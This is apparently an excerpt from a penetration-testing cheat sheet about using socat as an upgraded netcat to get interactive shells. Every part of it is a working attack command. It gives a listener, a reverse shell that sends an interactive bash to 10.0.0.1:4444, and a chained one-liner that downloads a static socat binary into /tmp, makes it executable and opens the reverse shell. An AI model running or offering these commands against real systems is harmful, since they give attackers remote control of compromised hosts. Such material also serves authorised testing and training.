Socat is a nc on steroids. It allows authentication, encryption of communications and port forwarding.
It is rarely found on the servers, it must be uploaded.
Start a listening socat:

$ socat file:`tty`,raw,echo=0 TCP-L:4444

Launch reverse shell back to 10.0.0.1:4444

$ /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4444

Automate socat upload and the reverse shell:

$ wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242